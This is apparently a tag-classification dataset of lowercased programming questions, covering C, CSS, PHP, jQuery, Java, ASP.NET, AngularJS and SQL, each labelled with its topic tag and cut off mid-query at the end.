c concatenate int  i will be the first to admit  i m a c# guy 100% and c isn t for me. however i have problem. i need to concatenate 7 with hashurl(hashint) and then with hashint any help would be greatly appreciated.   <pre><code>int main(int argc) { unsigned int hashint; hashint = hashurl(argc); // i need to return 7 + checkhash(hashint) + hashint but not adding  but concanenating them return howevertogetthestring; } </code></pre>   i should have specified the usage of this. it s actually going to be used in a students vb6 project.   <pre><code>private declare function main lib  checksum.dll  (byval pstr as string) as long  private sub command1_click() msgbox main( http://hello.com ) end sub </code></pre>   the full source for the c library is   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; #include &lt;string.h&gt; #include &lt;winreg.h&gt; #include &lt;stdlib.h&gt;  int strtoint(char *pstr  int init  int factor) { while (*pstr) { init *= factor;  init += *pstr++; } return init; }  int hashurl(char *pstr) { unsigned int c1  c2  t1  t2;  c1 = strtoint(pstr  0x1505  0x21); c2 = strtoint(pstr  0  0x1003f); c1 &gt;&gt;= 2; c1 = ((c1 &gt;&gt; 4) &amp; 0x3ffffc0) | (c1 &amp; 0x3f); c1 = ((c1 &gt;&gt; 4) &amp; 0x3ffc00) | (c1 &amp; 0x3ff); c1 = ((c1 &gt;&gt; 4) &amp; 0x3c000) | (c1 &amp; 0x3fff);  t1 = (c1 &amp; 0x3c0) &lt;&lt; 4; t1 |= c1 &amp; 0x3c; t1 = (t1 &lt;&lt; 2) | (c2 &amp; 0xf0f);  t2 = (c1 &amp; 0xffffc000) &lt;&lt; 4; t2 |= c1 &amp; 0x3c00; t2 = (t2 &lt;&lt; 0xa) | (c2 &amp; 0xf0f0000);  return (t1 | t2); }  char checkhash(unsigned int hashint) { int check = 0  flag = 0; int remainder;  do { remainder = hashint % 10; hashint /= 10; if (1 == (flag % 2) ){ remainder += remainder; remainder = (remainder / 10) + (remainder % 10); } check += remainder; flag ++; } while( 0 != hashint);  check %= 10; if (0 != check) { check = 10 - check; if (1 == (flag % 2)) { if (1 == (check % 2)) { check += 9; } check &gt;&gt;= 1; } } check += 0x30; return check; }  int main(int argc) {  unsigned int hashint;     int result;     hashint = hashurl(argc);     char temp[100];     sprintf(temp   7%i%j   checkhash(hashint)  hashint);     result = atoi(temp);     return result; } </code></pre>   give    <a href= http://www.hello.com  rel= nofollow >http://www.hello.com</a>  should return 783544359868  but its not,c
β sign - html version   what is html representation (like e.g. <code>&amp;nbsp;</code>) of β sign,html
css variables to decrease css file  i have   <pre><code>.excel { background-image:url(/image/icon/silk/excel.png) !important } </code></pre>   can i use variables in place of <em>excel</em>  so that i won t need to make a css file for all 1200 icons.,css
php get selected values on a drop down list  i have this script that displays the year  month and day on a drop down.    my question is: how do i get the selected values in the format of d-m-y     let s say if i will have a button to get the current selected values and display on a textbox. how would i do it     any ideas are greatly appreciated. thank you.   <pre><code>&lt;html&gt;     &lt;body&gt; &lt; php     $months = array(              january                 february                 march                 april                 may                 june                july                 august                 september                 october                 november                december          );     $weekday = array(              sunday                monday                tuesday                wednesday                thursday                friday                saturday          );     $days = range(1 31);     $years = range (2010  2020);      $currentday = date( d );     $currentmonth = date( f );     $currentyear = date( y );      echo  &lt;select name= weekday &gt; ;     foreach($days as $valued) {          if($valued == $currentday)         {              $default =  selected= selected  ;              echo  &lt;option  .$default.  value=  .$valued.  &gt; .$valued. &lt;/option&gt;\n ;         } else {             $default=  ;             echo  &lt;option  .$default.  value=  .$valued.  &gt; .$valued. &lt;/option&gt;\n ;         }         }      echo  &lt;/select&gt;&amp;nbsp; ;         echo  &lt;select name= month &gt; ;         foreach($months as $valuem) {             if($valuem==$currentmonth)         {              $default1 =  selected= selected  ;             echo  &lt;option  .$default1.  value=  .$valuem.  &gt; .$valuem. &lt;/option&gt;\n ;         } else {             $default1 =   ;                 echo  &lt;option  .$default1.  value=  .$valuem.  &gt; .$valuem. &lt;/option&gt;\n ;         }      }          echo  &lt;/select&gt; &amp;nbsp;  ;         echo  &lt;select name= year &gt; ;          foreach ($years as $valuey) {      if($valuey == $currentyear)     {         $default2 =  selected= selected  ;        echo  &lt;option  .$default2.  value=  .$valuey.  &gt; .$valuey. &lt;/option&gt;\n ;     } else {            $default2 =   ;            echo  &lt;option  .$default2.  value=  .$valuey.  &gt; .$valuey. &lt;/option&gt;\n ;     }          }           echo  &lt;/select&gt; &amp;nbsp;  ;  &gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,php
is the ios convention to not indent functions and properties defined within a block   is it ios convention to not indent properties  functions  etc defined with a block     for example defining properties within an interface in a .h file looks like this:   <pre><code>@interface xyzaddtodoitemviewcontroller : uiviewcontroller  @property xyztodoitem *todoitem;  @end </code></pre>   in the other languages i m used to (ruby  php  python  js) it would look like this:   <pre><code>@interface xyzaddtodoitemviewcontroller : uiviewcontroller      @property xyztodoitem *todoitem;  @end </code></pre>   is this the convention  @property is within the @interface block correct,ios
hashcode and compareto for non-standard equals  given following implementation of equals:   <pre><code>public class test implements comparable&lt;test&gt; {     private int x  y;      @override     public boolean equals(object obj) {         if (obj instanceof test) {             test other = (test) obj;             return x == other.x || y == other.y;         }         return false;     }      @override     public int hashcode() {         //implementation      }      @override     public int compareto(test o) {         //implementation      } } </code></pre>   what is correct/most performant implementation of hashcode and compareto  please note - equals uses <strong>or</strong>  not <strong>and</strong>,java
style formatting contd  i need to write text in green or red based on:   <pre><code>if(str &gt; 0)  {      document.getelementbyid( change ).style.color =  green ;     document.getelementbyid( change ).innerhtml = html[1];  }  else  {     document.getelementbyid( change ).style.color =  red ;     document.getelementbyid( change ).innerhtml = html[1];  }  str = html[2];  str = str.replace( +    );  str = str.replace( -    );  if(str &gt; 0)  {         document.getelementbyid( changepercent ).style.color =  green ;                     document.getelementbyid( changepercent ).innerhtml = html[2];                  }                  else                  {                     document.getelementbyid( changepercent ).style.color =  red ;                     document.getelementbyid( changepercent ).innerhtml = html[2];                  } </code></pre>   but for values -17.91  -5.61  i get both values in the green. where is the error,css
what does (function( $ ){...})( jquery ); do/mean   i am a bit new to reusable plugins for jquery.  i have ran across this code several times and can t figure out exactly what is going on.   <pre><code>(function( $ ){    ... })( jquery ); </code></pre>   can any one enlighten me,jquery
overloading string() operator  i have an assignment that my teacher has told us to use this in the .h file:   <pre><code>    operator string(); </code></pre>   and we can not deviate from it in any way.    so in my .cpp file i have:   <pre><code>   currency::operator string(){  stringstream output;  output&lt;&lt; $ ;  output&lt;&lt;dollars;//why does this return garbage for money1+money2    output&lt;&lt; . ;  output&lt;&lt;cents;  string outputstring = output.str();  return outputstring;    } </code></pre>   but when i do <code>string(money1+money2)</code> it returns garbage  it works fine when i just do  string(money1)`.  i am wondering what i am doing wrong.    any help will be great.    here is my overloaded + operator code:   <pre><code>currency&amp; currency::operator+(const currency &amp;rhs){ currency temp; temp.dollars = dollars + rhs.dollars; temp.cents = cents + rhs.cents; temp.simplify(); return temp; } </code></pre>   <strong>notes:</strong>  i have run the debugger and there is no issue with the overloaded + operator; it returns what it should.,c++
how to select the 2nd result with jquery  <pre><code>$( select ) </code></pre>   i want to select the second <code>select</code> above how to do it,jquery
activerecord to_json: conditionally include associations  i m trying to find a way to conditionally include associated models when i use .to_json on a model.    in a simplified example  assume the following two models:   <pre><code>class foo &lt; activerecord::base   has_many :bars end  class bar &lt; activerecord::base   belongs_to :foo   attr_accessible :bar_type end  </code></pre>   i currently have:   <pre><code>f = foo.find  3  j = f.to_json(:include =&gt; { :bars =&gt; {:some  :attributes}} </code></pre>   and this works. what i need to find a way to do is only include bar instances that have bar_type ==  what      i m hoping there s a way to conditionally pulling in the bar instances  or perhaps even use a scope to limit the bars that are included in the json output.,ruby-on-rails
could not see updated value while debugging asp.net web application  i have used same command button click event for both insert  update functionalities.    i m checking with the url-querystring to achieve this functioality. if the url-querystring is null then the page is meant for insert. if the url-querystring is not null then the page is meant for update.    the code is shown below  but the update functionality is not working. when i debug the page  i understood that the new updated value is not presenting in the debug window. i have modified cr_title and debugged. the new value is not coming in the debug. what is the problem    <pre><code>    protected void btninsert_click(object sender  eventargs e)     {         try         {             changerequest changerequest = new changerequest();             changerequest.cr_ref_no = txtcrrefnumber.text.trim();             changerequest.cr_title = txtcrtitle.text.trim();             changerequest.origin1_id = convert.toint32(ddlorigin1.selectedvalue);             if (request[ ecr ] == null)             {                 (new changerequestbll()).insertecr(changerequest);                  ((blmsite)this.master).errortext = string.empty;                 ((blmsite)this.master).messagetext =  record inserted successfully ;             }             else if (request[ ecr ] != null)             {                 (new changerequestbll()).updateecr(ecrrefno  changerequest);                  ((blmsite)this.master).errortext = string.empty;                 ((blmsite)this.master).messagetext =  record updated successfully ;             }         }         catch (exception ex)         {             ((blmsite)this.master).errortext = ex.message;             ((blmsite)this.master).messagetext = string.empty;         }     } </code></pre>   edit: i need to put this code inside (!page.ispostback) condition. this is where i have committed mistake. adding of this statement solved my problem.,asp.net
how can multiple values in textbox be saved as multiple rows in a table   user should be allowed to add multiple values in textbox ( for example 3 names ). when enter button is clicked  the 3 names should be saved in 3 rows (as 3 entries ) of a table.    can anyone please help     thanks  vanu,asp.net
converting a result of integer to string or word in c  so i have a problem here. i am working on my class assignment which is create a calculator but every result must be in a word  example :   <pre><code>int a b c; printf( input first number: ); scanf( %d   &amp;a); printf( input second number: ): scanf( %d   &amp;b); c=a+b; printf( the result are: %d   c);                           printf( if in words  it is  =  ); switch(c){ case 0:printf( abcdef );break; case 1:printf( bc );break; case 2:printf( abged );break; case 3:printf( abgcd );break; case 4:printf( fbgc );break; case 5:printf( afgod );break; case 6:printf( fgcde );break; case 7:printf( abc );break; case 8:printf( abcdefg );break; case 9:printf( abcdfg );break; default :printf( error );break; </code></pre>   so the result from this when im running it is :   <blockquote>    input first number : 12        input second number : 12        the result are: 24        if in words  it is = error  </blockquote>   so what i m confused here is how i did print the c result as a word  so what i want from my output is   <blockquote>    input first number : 12        input second number : 12        the result are : 24        if in words  it is = abged fbcg  </blockquote>   so far i m searching for answers but i cannot find it. if anyone here can help me  please do.    thanks in advance    *edited,c
rails: how do i access a method in my application controller   noob scoping issue  i imagine.  :\   <pre><code>class applicationcontroller &lt; actioncontroller::base   protect_from_forgery    @locations = get_locations    def get_locations     location.where(:active =&gt; true).order( name ).all   end  end </code></pre>   error:   <pre><code>undefined local variable or method `get_locations  for applicationcontroller:class </code></pre>   two questions: 1) what s with the error  am i calling the method incorrectly  2) how do i access this method from a sub-classed controller,ruby-on-rails
insert into table if count(*) < 5  i m trying to make a mysql procedures which will insert data into table if count(*) from the same table is less than 5 rows.    the logic is:   <pre><code>declare @count int; set @count = (select count(*) from table); if (@count = 1) insert into table(item1  item2  item3) values( item 1    item 2    item 3 ); </code></pre>,mysql
compare fields with same name of objects of different classes in java  i have two objects  each of which have tens of fields:   <pre><code>class1 {     int firstproperty;     string secondproperty;     string anotherproperty1;     ... }  class2 {     int firstproperty;     string secondproperty;     string anotherproperty2;     ... } </code></pre>   some of the method names are exactly same  others are not  for example here  they all have <code>firstproperty</code> and <code>secondproperty</code> and they are same in name. but other fields are not same. what is an elegant way to know if the values of every same field of two objects of the two class is actually same     _________________________________update_____________________________________    i m still not sure why some people still think it is exactly the duplicate question. since the question is closed  i have to paste my solution here.   <pre><code>private boolean haschanged(object o1  object o2){      if (o1 == null || o2 == null) {         return true;     }      class clazz1 = o1.getclass();     class clazz2 = o2.getclass();     for (method method1 : clazz1.getdeclaredmethods()) {         for (method method2 : clazz2.getdeclaredmethods()) {             try {                 if (method1.getname().startswith( get ) &amp;&amp; method1.getname().equals(method2.getname())) {                     if (method1.invoke(o1  null) == null &amp;&amp; method2.invoke(o2  null) == null) {                         continue;                     } else if (method1.invoke(o1  null) == null || method2.invoke(o2  null) == null) {                         continue;                     } else if (!method1.invoke(o1  null).equals(method2.invoke(o2  null))) {                         return true;                     }                 }             } catch (illegalaccessexception e) {                 e.printstacktrace();             } catch (invocationtargetexception e) {                 e.printstacktrace();             }         }     }     return false; } </code></pre>,java
carrying a wide item inside a narrow column  i have a form of width <code>450px</code> with one item that has to take the full page s width (990px).    <code>position:absolute</code> is a problem because this wide item needs to fit in the flow of elements inside the form. <code>margin-left:-270px</code> seems a bit hackish and likely to break down with future rule changes. is there a better solution     how can i get an element in the form s flow that takes up the whole page s width,css
jquery function stops working at the top of the page  i have a jquery function that acts on a click event of a list item:   <pre><code>&lt;ul id= howdoicategory   class=  notranslate &gt;     &lt;li class= howdoiitem  id= item1 &gt;      register with the surgery     &lt;/li&gt;     &lt;li class= howdoiitem  id= item2 &gt;      order a prescription&lt;/li&gt;     &lt;li class= howdoiitem  id= item3 &gt;      book an appointment&lt;/li&gt;     &lt;li class= howdoiitem  id= item4 &gt;      request a home visit&lt;/li&gt;     &lt;li class= howdoiitem  id= item5 &gt;      change my contact details&lt;/li&gt;     &lt;li class= howdoiitem  id= item6 &gt;      speak to a doctor/nurse&lt;/li&gt;     &lt;li class= howdoiitem  id= item7 &gt;      get my test results&lt;/li&gt;  &lt;/ul&gt;  &lt;script type= text/javascript &gt; $( li.howdoiitem ).click(function(){   //do something }); &lt;/script&gt; </code></pre>   when the script is at the bottom of the page this works.  however i want to move this into a separate file and reference at the top the page but this makes the click event stop working.    i ve tried to put the javascript in a document ready function so it becomes:   <pre><code>&lt;script type= text/javascript &gt; $(document).ready(function(){    $( li.howdoiitem ).click(function(){     //do something   }); }); &lt;/script&gt; </code></pre>   but this doesn t work either.    can someone explain what is happening here  thanks.,jquery
calling php functions from form submit  i m very new to php and i do not know how to do things properly and i need help    i have register-page.php which looks like this:   <pre><code>&lt; php include  includes/functions/register/register.php  &gt; &lt; php include  includes/header.php  &gt; &lt; php include  includes/navbar.php  &gt; &lt; php include  includes/registercontainer.php  &gt; &lt; php include  includes/hidden.php  &gt; &lt; php include  includes/footer.php  &gt; </code></pre>   as you can see from the code above i have i m keeping files in the includes folder and register.php is the file that keeps the functions    the form in register-container.php:   <pre><code>&lt;form action=   class= registerform  method= post &gt;                  &lt;div class= row &gt;                     &lt;div class= col-md-12 &gt;                         &lt;div class= input-group regelements &gt;                             &lt;span class= input-group-addon glyphicon glyphicon-envelope &gt;&lt;/span&gt;                             &lt;input class= form-control   name= regemail  type= email  placeholder= email  autofocus&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= row &gt;                     &lt;div class= col-md-12 &gt;                         &lt;div class= input-group regelements &gt;                             &lt;span class= input-group-addon glyphicon glyphicon-user &gt;&lt;/span&gt;                             &lt;input class= form-control   name= regusername   type= text  placeholder= username   &gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= row &gt;                     &lt;div class= col-md-12 &gt;                         &lt;div class= input-group regelements &gt;                             &lt;span class= input-group-addon glyphicon glyphicon-lock &gt;&lt;/span&gt;                             &lt;input class= form-control   name= regpassword   type= password  placeholder= password   &gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= row &gt;                     &lt;div class= col-md-12 &gt;                         &lt;div class= input-group regelements &gt;                             &lt;span class= input-group-addon glyphicon glyphicon-lock &gt;&lt;/span&gt;                             &lt;input class= form-control   name= regpassword2   type= password  placeholder= confirm password  &gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= row &gt;                     &lt;div class= col-md-12 &gt;                         &lt;div id= errors &gt;                          &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= row &gt;                     &lt;div class= col-md-12 &gt;                         &lt;div class= input-group regelements &gt;                             &lt;input id= regbutton  name= registerbutton type= submit  class= btn  value= register now! &gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;              &lt;/form&gt; </code></pre>   as you can see i left the form action empty because my code works when i include this piece of code:<code>&lt; php include  includes/functions/register/register.php  &gt;</code>at the bottom (under footer)    but now i realised that by doing this i can t use sessions  when i try i receive an error.    i do not know how to solve this issue if anyone can help me it is very much appreciated. if more information is needed by my side please let me know thanks    edit: i have realised that when i place the register function on top it works but the function that displays the errors does not which is    <pre><code>function errordisplay($regerrors){     //display errors         foreach ($regerrors as $errrormessage) {              &gt;                 &lt;script&gt;                     $( #errors ).append( &lt;div class= alert alert-danger  role= alert &gt;&lt; php echo $errrormessage;  &gt;&lt;/div&gt; );                     if($(window).width()&lt;=1024 &amp;&amp; $(window).height()&lt;=768){                         $( .registercontainer ).animate({marginbottom: 75vh });                     }                     else{                         $( .registercontainer ).animate({marginbottom: 60 });                     }                     alert($msgheight);                 &lt;/script&gt;             &lt; php         } } </code></pre>,php
can bad stuff happen when calling a class from an activity   i am calling a class from my activity.  the class i am calling doesn t extend a service or a activity.  it is just a worker class that i am using to process a bufferedreader object.  i am concerned that if the app loses focus during the processing of the bufferedreader i could be left with messy data.  so what happens when my activity calls a class to perform database entries and the activity loses focus.  i am thinking of making my worker class a service so that i will have access to the onpause and onresume methods.  not sure what i should be doing.   does anyone else have any clues about this.,android
is there a good .net library for reading raw files   we re writing a .net-based app to read images including raw files.  is there a good library we can use   perhaps a wrapper around dcraw or libraw   license-wise  lgpl is fine but gpl wouldn t be.,.net
how can i scramble words from a text file after already randomly choosing a word from text  my words from the text file are already printing out randomly  but how can i get the words to scramble from text. i have a seperate class called scramblewords. i m stuck on calling the scrambleword method from the other class. my code is below.    <pre><code>public class wordshuffle extends scramblewords {      protected scanner file;     protected arraylist&lt;string&gt; words = new arraylist&lt;string&gt;();      public void openfile(){          try {             file = new scanner(new file( words.txt ));           } catch (filenotfoundexception e) {             system.out.println( file not found );         } catch (exception e){             system.out.println( ioexception );         }     }      public void readfile(){          random r = new random();          while(file.hasnextline()){             words.add(file.nextline());             }              string randomword = words.get(r.nextint(words.size()));             collections.shuffle(words);             system.out.println(randomword);          //}     }      public void closefile(){         file.close();     }      public static void main(string[] args) {          //arraylist&lt;string&gt; inputstring = words;          wordshuffle shuff = new wordshuffle();         //scramblewords mix = new scramblewords();          shuff.openfile();         system.out.print( before:  );         shuff.readfile();           //system.out.println( after:  );          shuff.closefile();     }  }  public class scramblewords {      public static string scrambleword(random r  string inputstring){          //convert string to char array         char a[] = inputstring.tochararray();          for(int i = 0; i &lt; a.length-1; i++){             int j = r.nextint(a.length-1);              //swap letters             char temp = a[i]; a[i] = a[j]; a[j] = temp;         }          return new string(a);     }  } </code></pre>,java
question about the guard class in compositeui application block of microsoft  is there anybody use the guard class provided by microsoft in its open source project compositeui application block  i noticed that  in the guard class  there are only some methods to do the argument parameter validating. but as we all know that  in our self codes  there are may be many cases that need to validate some other variable (which is not an argument parameter) or member  and throw exception if the validation is failed. for this cases  why the guard class not provide some helper class for helping to do that     below is the codes of guard class:   <pre><code>//=============================================================================== // microsoft patterns &amp; practices // compositeui application block //=============================================================================== // copyright  microsoft corporation.  all rights reserved. // this code and information is provided  as is  without warranty // of any kind  either expressed or implied  including but not // limited to the implied warranties of merchantability and // fitness for a particular purpose. //===============================================================================  using system; using system.collections.generic; using system.text; using system.globalization;  namespace microsoft.practices.compositeui.utility {  /// &lt;summary&gt;  /// common guard clauses  /// &lt;/summary&gt;  public static class guard  {   /// &lt;summary&gt;   /// checks a string argument to ensure it isn t null or empty   /// &lt;/summary&gt;   /// &lt;param name= argumentvalue &gt;the argument value to check.&lt;/param&gt;   /// &lt;param name= argumentname &gt;the name of the argument.&lt;/param&gt;   public static void argumentnotnulloremptystring(string argumentvalue  string argumentname)   {    argumentnotnull(argumentvalue  argumentname);     if (argumentvalue.length == 0)     throw new argumentexception(string.format(cultureinfo.currentculture  properties.resources.stringcannotbeempty  argumentname));   }    /// &lt;summary&gt;   /// checks an argument to ensure it isn t null   /// &lt;/summary&gt;   /// &lt;param name= argumentvalue &gt;the argument value to check.&lt;/param&gt;   /// &lt;param name= argumentname &gt;the name of the argument.&lt;/param&gt;   public static void argumentnotnull(object argumentvalue  string argumentname)   {    if (argumentvalue == null)     throw new argumentnullexception(argumentname);   }    /// &lt;summary&gt;   /// checks an enum argument to ensure that its value is defined by the specified enum type.   /// &lt;/summary&gt;   /// &lt;param name= enumtype &gt;the enum type the value should correspond to.&lt;/param&gt;   /// &lt;param name= value &gt;the value to check for.&lt;/param&gt;   /// &lt;param name= argumentname &gt;the name of the argument holding the value.&lt;/param&gt;   public static void enumvalueisdefined(type enumtype  object value  string argumentname)   {    if (enum.isdefined(enumtype  value) == false)     throw new argumentexception(string.format(cultureinfo.currentculture       properties.resources.invalidenumvalue        argumentname  enumtype.tostring()));   }    /// &lt;summary&gt;   /// verifies that an argument type is assignable from the provided type (meaning   /// interfaces are implemented  or classes exist in the base class hierarchy).   /// &lt;/summary&gt;   /// &lt;param name= assignee &gt;the argument type.&lt;/param&gt;   /// &lt;param name= providedtype &gt;the type it must be assignable from.&lt;/param&gt;   /// &lt;param name= argumentname &gt;the argument name.&lt;/param&gt;   public static void typeisassignablefromtype(type assignee  type providedtype  string argumentname)   {    if (!providedtype.isassignablefrom(assignee))     throw new argumentexception(string.format(cultureinfo.currentculture       properties.resources.typenotcompatible  assignee  providedtype)  argumentname);   }  } } </code></pre>,.net
embedded programming in c with pointers  when i am try to compile the following program it shows an error in the line lcdcmemctl[i] = digit[i]; as this expression must have pointer to object type.can you please help meto find what is the reason behind it and how to solve this.   <pre><code>#include  msp430f6736.h   char digit[10] = {     0xb7  /*  0  lcd segments a+b+c+d+e+f */     0x12  /*  1  */     0x8f  /*  2  */     0x1f  /*  3  */     0x3a  /*  4  */     0x3d  /*  5  */     0xbd  /*  6  */     0x13  /*  7  */     0xbf  /*  8  */     0x3f  /*  9  */ };  void main(void) {     int i;      /* initialize lcd driver (4mux mode) */     lcdcctl0 = 0xff;      /* display  6543210  */     for (i=0; i&lt;7; i++)     {        lcdcmemctl[i] = digit[i];     } } </code></pre>,c
how to set image in center with position fixed  i am trying to center image with position fixed in css. the code i tried   <pre><code>&lt;style&gt; .bgimg {     top: 50%;     left: 50%;     position: fixed;     opacity:0.09;     marging: auto; } &lt;/style&gt; </code></pre>   refer to <a href= https://www.w3schools.com/code/tryit.asp filename=fjzqpd9bzubg  rel= nofollow noreferrer >https://www.w3schools.com/code/tryit.asp filename=fjzqpd9bzubg</a>,css
create a popup with radio box using js  first of all  i m just a rookie with few knowledge on java script    i wanna create a pop up with three radio button on it  let s say  a  b  and c    how can i make it  can anybody help me out,javascript
no operator = match these operands c++ even though said operator has been overloaded  i am trying to do a multiplication for my vector class and my matrix class.   <pre><code>vector2f matrix3x3::operator * (vector2f &amp; v) {     float vx = e11 * v.x + e21 * v.y + e31;     float vy = e12 * v.x + e22 * v.y + e32;     return vector2f(vx  vy); } </code></pre>   when a matrix multiplies with a vector it should return a vector. so i try to set the result to an already created vector object.   <pre><code>vector2f d(12  12); matrix3x3 m = translationmatrix(transx  transy); d = m * d; </code></pre>   vs keeps underlining my  =  and says that no operators = match these operands  operands type are vector2f and vector2f. even though i already overload assignment operator in vector2f class   <pre><code>vector2f &amp; vector2f::operator = (vector2f &amp; v) {      x = v.x;     y = v.y;     return *this; } </code></pre>   i dont even know where i am wrong. can someone explain it to me,c++
next and previous buttons with jquery  i m currently working on a website that when you click on a project image  a full screen overlay pops up with information about the project and additional images. i also would like next and previous buttons to cycle through the projects. i ve made the next button work  but it only goes to the next project once. if i click it again  nothing happens.    the website i m working on is <a href= http://www.tmcallister.net/test  rel= nofollow >here</a> and i have made a <a href= https://jsbin.com/puyevedapa/edit html js output  rel= nofollow >jsbin</a>  to show a sample of how my html is structured as well as my jquery.    could anyone please take a look and help me figure out where i m going wrong,jquery
how to handle this session condition   after login user is redirected to default page.i apply break point on pageload.break point work.on clicking logout hyperlink it will redirect to the sessionclear page.after loging out when i am entering page name it will redirect to login page.i am checking session in every page and master page also.whem i am putting defaule page it redirect to default page.i am not able to see execution of break point.why this happening,asp.net
backup project copy  how do you make a copy of a project in .net,.net
python3.3.1 ssl module  i attempted to put push message to apple push notification server via python ssl socket. but fail to do this on python 3.3.1.   <pre class= lang-none prettyprint-override ><code>python 3.3.1 (default  apr  9 2013  14:40:22)  [gcc 4.4.5] on linux type  help    copyright    credits  or  license  for more information. &gt;&gt;&gt;  &gt;&gt;&gt; import ssl traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt;   file  ./ssl.py   line 60  in &lt;module&gt;     import _ssl             # if we can t import it  let the error propagate importerror: no module named  _ssl  &gt;&gt;&gt; </code></pre>,python
jquery counting on multiple pages  im trying to make multiple quizes that will keep track of each quiz on each page.    so  far i only have 1 counter which cant keep track of which page the quiz are answered.    all of my quizes are in the id tag = jquiz  so i only have to use one stylesheet. how would i implement mulitple counters to my code    edit: updated code    <pre><code> $( .jquiz li ul li ).click(function(){      if (!($(this).parent( ul ).hasclass( answered ))) {          // removes unanswered class and adds answered class so they cannot change answer         $(this).parent( ul ).addclass( answered );          // runs if they clicked the correct answer         if ($(this).hasclass( correct )) {             //adds one to quiz total correct tally             count++;              }                //score check             if ($( ul.answered ).length == 3) {             $( #page1mark ).fadein( slow );             $( #page1total ).html( you got a  +count+  out of  +3+  on the page 1quiz. );         }          if ($( ul.answered ).length == 6) {             $( #page2mark ).fadein( slow );             $( #page2total ).html( you got a  +count+  out of  +3+  on the page 2 quiz. );         }          if ($( ul.answered ).length == howmanyquestions) {             $( #jquizremarks ).fadein( slow );             $( #jquiztotal ).html( you got a  +count+  out of  +howmanyquestions+  on the total quiz. );         }     } }};      //---------the html         &lt;!-- page1---&gt;     &lt;ol class= jquiz &gt; //how do i add ids to each class in a page           &lt;li&gt;             &lt;p&gt;cake is yum&lt;/p&gt;                  &lt;ul&gt;                  &lt;li class= correct &gt;true&lt;/li&gt;                 &lt;li&gt;false&lt;/li&gt;     &lt;/ul&gt;     &lt;/li&gt;   &lt;/ol&gt; </code></pre>,jquery
service must return a value $get factory method  citiesservice.js   <pre><code> var fn = function ($http  $log  $q) {      var data = {list:list};      function list(couponcode) {         return $http.get( /customer/cities/index               {                 params: { couponcode: couponcode }                  cache: true             });      }     return data; } </code></pre>   here i am trying to get data from <code>index</code> method that returns a list of cities but i am getting an error in console   <blockquote>    [$injector:undef] provider  citiesservice  must return a value from $get factory method.  </blockquote>,angularjs
authorization check using global.asax  in my asp.net web application  i want to check every time the user is trying to get a page from my application if the user exist in the db (of course after the first time we save the user details in the session). i tried to use the application_authenticaterequest event in the global.asax to  check for each request but the session does not exist in this event. i need an advice for where i can put my authorization logic that i would still have the session data available (to reduce db access).,asp.net
small php commercial grade open source project. suggestions   hey guys  i m learning php and i would like to have a look at the source code of a small  commercial grade  php project.    why small  well because i m a beginner and big projects such as drupal or wordpress are overwhelming right now  aka i don t understand a lot.    why  commercial grade   i would like to see if things are done in a different way in comparison to theory  courses and books.    thanks for any suggestion!,php
php - filter keywords and values from a text  im wondering whats the best method to extract some information from a longtext. i have a example below with the text. want i want to extract is a list with dj s  music genres and the age.    the text is received from a string.   <h3>example text:</h3>  <blockquote>    ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla faciliti.        minimal age: 21        tickets:        regular presale ticket - € 10 -<br>   special lady ticket (2 for 1) - € 15 -<br>   groupticket (5 pers) - € 45 -        muziek genres:        | salsa | merengue | urban | eclectic | kizomba | bachata | dancehall | reggaeton |        dj’s:        | vato gonzales | afrojack | blasterjaxx | paul elstak |  </blockquote>,php
is it valid to use a simple return to send back data from an angularjs factory   i have the following two ways and they both seem to work:   <pre><code>angular.module( adminapp ) .factory( testaccount   function ($http) {     return {         get: function (applicationid) {             return $http({                 method:  get                   url:  /api/testaccounts/getselect                   params: { applicationid: applicationid }             });         }     } });  //angular.module( adminapp ) //.factory( testaccount   function ($http) { //    var testaccount = {}; //    testaccount.get = function (applicationid) { //        return $http({ //            method:  get   //            url:  /api/testaccounts/getselect   //            params: { applicationid: applicationid } //        }); //    }; //    return testaccount; //}); </code></pre>   the second method came from an answer to a question i asked on stackoverflow. the first way was some changes i made to it.     can someone tell me which is the more conventional way and if there is any difference between these two. for me the first way seems a bit more clean but i am not sure if i am missing out on some functionality by using it.     i used the following to call the service in both cases:   <pre><code>    testaccount.get(3).then(function (result) {         $scope.testaccounts = result.data;     }  function (result) {         alert( error: no data returned );       }); </code></pre>,angularjs
there is already an object named  #futuredatedexclude  in the database <pre><code>select futuredatedemployeerecordskey into #futuredatedexclude from dbo.vwrptdimemployee_futuredated fd1 where exists (select 1 from dbo.vwrptdimemployeeall ee1 with (nolock)                     where fd1.employeeid = ee1.employeeid and fd1.employeerecord = ee1.employeerecord                         and fd1.jobeffectivedate = ee1.jobeffectivedt and fd1.jobeffectivedatesequence = ee1.jobeffectivedatesequence                         and fd1.actioncode = ee1.actioncode and fd1.actionreasoncode = ee1.actionreasoncode)  declare @jobstartdate date =  07/01/2014   @jobenddate date =  06/30/2015   select distinct     e.lastname      e.secondlastname      e.firstname      e.middlename      e.preferredname      e.preferredfirstname      e.nameac      e.lastnameac      e.firstnameac      e.middlenameac      e.gui      e.employeeid      e.lpn      e.gpn      e.employeerecord      e.jobeffectivedt jobeffectivedate      e.jobeffectivedatesequence      e.actioncode      e.action      e.actiondate      e.actionreasoncode      ar.description actionreason      e.employeestatuscode      e.employeestatusdesc      case when year(e.leaveeffectivedt) &gt; 2100 then null else e.leaveeffectivedt end leaveeffectivedate      case when year(e.expectedreturndate) &gt; 2100 then null else e.expectedreturndate end expectedreturndate      e.fullparttime      e.shiftcode fwacode      e.shift fwaname      e.telework      e.standardhoursfrequency      e.standardhours      e.fte      e.paidfte      e.overtimeeligibility      